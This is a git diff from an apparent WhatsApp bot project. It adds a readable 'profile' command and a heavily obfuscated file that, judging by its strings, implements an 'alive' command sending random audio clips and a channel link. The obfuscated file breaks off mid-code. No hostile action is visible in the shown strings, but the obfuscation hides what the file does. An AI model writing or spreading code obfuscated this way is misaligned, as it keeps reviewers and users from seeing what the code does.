+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {adams} = require("../Ibrahim/adams");
+const conf = require("../config")
+const {jidDecode}=require("@whiskeysockets/baileys")
+
+
+adams( {
+ nomCom : "profile",
+ categorie : "Fun",
+ },
+ async(dest,zk, commandeOptions)=> {
+
+ const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu} = commandeOptions ;
+ let jid = null
+ let nom = null ;
+
+
+
+
+
+ if (!msgRepondu) {
+ jid = auteurMessage;
+ nom = nomAuteurMessage;
+
+ try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
+ const status = await zk.fetchStatus(jid) ;
+
+ mess = {
+ image : { url : ppUrl },
+ caption : '*Nom :* '+ nom + '\n*Status :*\n' + status.status
+ }
+
+ } else {
+ jid = auteurMsgRepondu;
+ nom ="@"+auteurMsgRepondu.split("@")[0] ;
+
+ try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
+ const status = await zk.fetchStatus(jid) ;
+
+ mess = {
+ image : { url : ppUrl },
+ caption : '*Name :* '+ nom + '\n*Status :*\n' + status.status,
+ mentions:[auteurMsgRepondu]
+ }
+
+ } ;
+
+
+
+
+
+ zk.sendMessage(dest,mess,{quoted : ms})
+ });
diff --git a/scs/bmwbi.js b/scs/bmwbi.js
new file mode 100644
index 0000000..ac844e1
--- /dev/null
+++ b/scs/bmwbi.js
@@ -0,0 +1 @@
+'use strict';const _0x3e43c0=_0xa036;(function(_0x5a2bab,_0xe3ecb4){const _0x3103a8=_0xa036,_0xa50da2=_0x5a2bab();while(!![]){try{const _0x459c66=-parseInt(_0x3103a8(0x214))/(0x206e*0x1+-0x1aaf+-0x46*0x15)*(-parseInt(_0x3103a8(0x21d))/(0x16b+-0x2066+0x1efd))+parseInt(_0x3103a8(0x216))/(-0xff3+0x11e2+0xf6*-0x2)+-parseInt(_0x3103a8(0x1f2))/(0x2*-0xd6e+-0xd08+-0x27e8*-0x1)*(-parseInt(_0x3103a8(0x1ff))/(0x8b2+0x503*-0x1+-0x3aa))+-parseInt(_0x3103a8(0x1fd))/(-0x2496+-0x189a+0x1*0x3d36)+parseInt(_0x3103a8(0x202))/(0x1*-0x1862+0x44f*-0x2+0x2107)+-parseInt(_0x3103a8(0x1c4))/(0x9b1+0x100+-0xaa9)*(parseInt(_0x3103a8(0x1e2))/(0x77f*-0x2+-0xa96+0x199d))+-parseInt(_0x3103a8(0x1dc))/(-0x1dc6+-0x16b5+0xa81*0x5);if(_0x459c66===_0xe3ecb4)break;else _0xa50da2['push'](_0xa50da2['shift']());}catch(_0x41b548){_0xa50da2['push'](_0xa50da2['shift']());}}}(_0x4334,-0x8*0xba3b+0x1ba12d+-0x6a102));function _0xa036(_0x15ea32,_0x10641e){const _0x1e46ca=_0x4334();return _0xa036=function(_0x2ef031,_0x4f87bd){_0x2ef031=_0x2ef031-(-0x1421*-0x1+-0x73*-0x22+-0x21a5);let _0x1c5ffe=_0x1e46ca[_0x2ef031];return _0x1c5ffe;},_0xa036(_0x15ea32,_0x10641e);}Object[_0x3e43c0(0x1fe)+_0x3e43c0(0x1d4)](exports,_0x3e43c0(0x1f8),{'value':!![]});const {adams}=require(_0x3e43c0(0x220)+_0x3e43c0(0x1d6));function _0x4334(){const _0x12f0e5=['essage','y.wav','random','zAPnq','ease\x20wait.','.moe/va22v','🔊\x20*Prepari','and\x20trigge','BWM\x20XMD\x20AC','sendMessag','dio...*\x20Pl','LfYjH','8QCYeLj','.moe/oordg','wxKQs','les.catbox','TIVES\x20🚘🌍✅','NGjVY','eKkUy','ly!','Adams','HZmNW','WhatsApp\x20b','ng\x20your\x20au','error','pxlHV','alth\x20Statu','red!','erty','©\x20Ibrahim\x20','/adams','test','audio/mpeg','/channel/0','Alive\x20mess','Alive\x20comm','25335530LPJXHF','onPbl','nt\x20✨','ObVBd','.moe/zdti7','log','1339839VRgghr','age\x20with\x20a','🚘\x20*BWM\x20XMD','Error\x20send','029VaZuGSx','DDiyL','EawdxZK9Cz','nail\x20sent\x20','lmdlD','5.mp3','alive','npbsu','.moe/y1uaw','aZcWL','p.mp3','*Bot\x20is\x20On','7540yTKHiE','ing\x20messag','.moe/nwreb','line*\x0a✨\x20He','q.jpeg','Bzhtx','__esModule','xLsFZ','DfmuY','arge\x20thumb','floor','3530268NhtdgN','defineProp','4705KIHDpN','4.mp3','AywyT','3527111tsfgbY','ot\x20is\x20read','atsapp.com','s:\x20Excelle','EzIuf','M0Y','IwDal','length','lDjrA','S*\x20🚘🌍✅\x0a\x0a🌍\x20','https://wh','ZOlog','RJiLR','udio\x20and\x20l','\x20IS\x20ACTIVE','nomAuteurM','PVArb','message','1067bHnkHi','s.mp3','1674789JvgxMT','.moe/x4h8u','JGBnl','https://fi','eMxOA','pQOvw','MkvpK','2680QUzvxt','HbxJc','iwZBy','../Ibrahim','successful','bGhDD'];_0x4334=function(){return _0x12f0e5;};return _0x4334();}adams({'nomCom':_0x3e43c0(0x1ec),'reaction':'🪄','nomFichier':__filename},async(_0x4bc200,_0x3aaeb4,_0x54a1f3)=>{const _0x5a4d51=_0x3e43c0,_0xa1e18={'wxKQs':_0x5a4d51(0x1db)+_0x5a4d51(0x22a)+_0x5a4d51(0x1d3),'JGBnl':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1c5)+_0x5a4d51(0x1eb),'lmdlD':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1e0)+_0x5a4d51(0x224),'IwDal':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1f4)+_0x5a4d51(0x200),'EzIuf':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1ee)+_0x5a4d51(0x1f0),'PVArb':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x217)+_0x5a4d51(0x215),'Bzhtx':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x228)+_0x5a4d51(0x1f6),'pxlHV':_0x5a4d51(0x20c)+_0x5a4d51(0x204)+_0x5a4d51(0x1d9)+_0x5a4d51(0x1e6)+_0x5a4d51(0x1e8)+_0x5a4d51(0x207),'aZcWL':function(_0x54d255,_0x4a2aa8){return _0x54d255*_0x4a2aa8;},'MkvpK':_0x5a4d51(0x229)+_0x5a4d51(0x1cf)+_0x5a4d51(0x1c2)+_0x5a4d51(0x227)+'..','bGhDD':_0x5a4d51(0x1d8),'ObVBd':_0x5a4d51(0x22b)+_0x5a4d51(0x1c8),'ZOlog':_0x5a4d51(0x1d5)+_0x5a4d51(0x1cc),'eKkUy':_0x5a4d51(0x1da)+_0x5a4d51(0x1e3)+_0x5a4d51(0x20f)+_0x5a4d51(0x1fb)+_0x5a4d51(0x1e9)+_0x5a4d51(0x221)+_0x5a4d51(0x1cb),'NGjVY':_0x5a4d51(0x1e5)+_0x5a4d51(0x1f3)+'e:'};console[_0x5a4d51(0x1e1)](_0xa1e18[_0x5a4d51(0x1c6)]);const _0x272d6f=[_0xa1e18[_0x5a4d51(0x218)],_0xa1e18[_0x5a4d51(0x1ea)],_0xa1e18[_0x5a4d51(0x208)],_0xa1e18[_0x5a4d51(0x206)],_0xa1e18[_0x5a4d51(0x212)]],_0x48a217=_0xa1e18[_0x5a4d51(0x1f7)],_0x251d68=_0xa1e18[_0x5a4d51(0x1d1)],_0x2af7a6=_0x5a4d51(0x1e4)+_0x5a4d51(0x210)+_0x5a4d51(0x20b)+_0x5a4d51(0x1f1)+_0x5a4d51(0x1f5)+_0x5a4d51(0x1d2)+_0x5a4d51(0x205)+_0x5a4d51(0x1de);try{const _0x229b58=_0x272d6f[Math[_0x5a4d51(0x1fc)](_0xa1e18[_0x5a4d51(0x1ef)](Math[_0x5a4d51(0x225)](),_0x272d6f[_0x5a4d51(0x209)]))];await _0x3aaeb4[_0x5a4d51(0x22c)+'e'](_0x4bc200,{'text':_0xa1e18[_0x5a4d51(0x21c)]}),await new Promise(_0x4f32d2=>setTimeout(_0x4f32d2,-0x1187*0x1+-0x102f+0x259e)),await _0x3aaeb4[_0x5a4d51(0x22c)+'e'](_0x4bc200,{'audio':{'url':_0x229b58},'mimetype':_0xa1e18[_0x5a4d51(0x222)],'ptt':!![],'caption':_0x2af7a6,'contextInfo':{'mentionedJid':[_0x54a1f3[_0x5a4d51(0x211)+_0x5a4d51(0x223)]||_0x4bc200],'externalAdReply':{'title':_0xa1e18[_0x5a4d51(0x1df)],'body':_0xa1e18[_0x5a4d51(0x20d)],'thumbnailUrl':_0x48a217,'sourceUrl':_0x251d68,'mediaType':0x2,'renderLargeThumbnail':!![]}}}),console[_0x5a4d51(0x1e1)](_0xa1e18[_0x5a4d51(0x1ca)]);}catch(_0x17c705){console[_0x5a4d51(0x1d0)](_0xa1e18[_0x5a4d51(0x1c9)],_0x17c705[_0x5a4d51(0x213)]);}}),console[_0x3e43c0(0x1e1)](_0x3e43c0(0x1ce)+_0x3e43c0(0x203)+'y.'),adams({'nomCom':_0x3e43c0(0x1d7),'reaction':'🪅','nomFichier':__filename},async(_0x227736,_0x4e08e3,_0x3e7674)=>{const _0x2e28f3=_0x3e43c0,_0x1aaf45={'onPbl':_0x2e28f3(0x1db)+_0x2e28f3(0x22a)+_0x2e28f3(0x1d3),'RJiLR':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1c5)+_0x2e28f3(0x1eb),'lDjrA':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1e0)+_0x2e28f3(0x224),'npbsu':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1f4)+_0x2e28f3(0x200),'zAPnq':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1ee)+_0x2e28f3(0x1f0),'DDiyL':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x217)+_0x2e28f3(0x215),'eMxOA':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x228)+_0x2e28f3(0x1f6),'HbxJc':_0x2e28f3(0x20c)+_0x2e28f3(0x204)+_0x2e28f3(0x1d9)+_0x2e28f3(0x1e6)+_0x2e28f3(0x1e8)+_0x2e28f3(0x207),'HZmNW':function(_0x56495f,_0x6797c0){return 